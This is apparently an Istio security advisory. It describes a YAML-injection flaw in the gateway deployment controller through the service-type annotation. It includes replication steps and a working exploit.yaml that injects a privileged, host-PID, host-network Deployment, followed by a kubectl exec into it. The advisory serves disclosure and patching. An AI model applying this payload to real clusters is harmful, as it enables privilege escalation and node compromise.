Advisory: https://github.com/istio/istio/security/advisories/GHSA-mq8f-9446-c28r
An attacker with permission to create gateway.networking.k8s.io/v1alpha2/Gateway
resources in a namespace can cause the Istio gateway API deployment controller to create arbitrary resources in any namespace (e.g. a privileged pod). This role might be granted to an “application administrator” in the Advanced 4 Tier Model or a “cluster operator” in the Simple 3 Tier Model of the Gateway API security model (https://gateway-api.sigs.k8s.io/concepts/security-model).
This vulnerability occurs because the deployment controller (istio/pilot/pkg/config/kube/gateway/deploymentcontroller.go
) uses a go text/template to craft YAML which is then used to create k8s resources. When the deployment controller creates the required service for the gateway, it uses the networking.istio.io/service-type
annotation to set the type of the service without validation. Since annotations can contain newlines, this annotation can be used to inject additional YAML keys. The yaml.Unmarshal
function used to unmarshal this data handles duplicate keys by using the last seen key. As a result, the attacker can change the kind
and spec
values, fully controlling the resource deployed by Istio.
To replicate, use the following steps:
- Install istio:
istioctl install
- Install the gateway-api CRDs (as documented here https://istio.io/latest/docs/tasks/traffic-management/ingress/gateway-api):
kubectl kustomize "github.com/kubernetes-sigs/gateway-api/config/crd?ref=v0.4.0" \
| kubectl apply -f -
- Apply the exploit:
kubectl apply -f exploit.yaml
- Observe the privileged pod created:
kubectl exec -it deploy/shell -- bash
exploit.yaml:
apiVersion: gateway.networking.k8s.io/v1alpha2
kind: Gateway
metadata:
name: gateway
namespace: default
annotations:
networking.istio.io/service-type: |
LoadBalancer
apiVersion: apps/v1
kind: Deployment
metadata:
name: shell
namespace: default
labels:
app: shell
spec:
replicas: 1
selector:
matchLabels:
app: shell
template:
metadata:
labels:
app: shell
spec:
hostPID: true
hostNetwork: true
containers:
- image: nginx
name: nginx
securityContext:
privileged: true
spec:
gatewayClassName: istio
addresses: []
listeners:
- protocol: HTTP
port: 80
name: http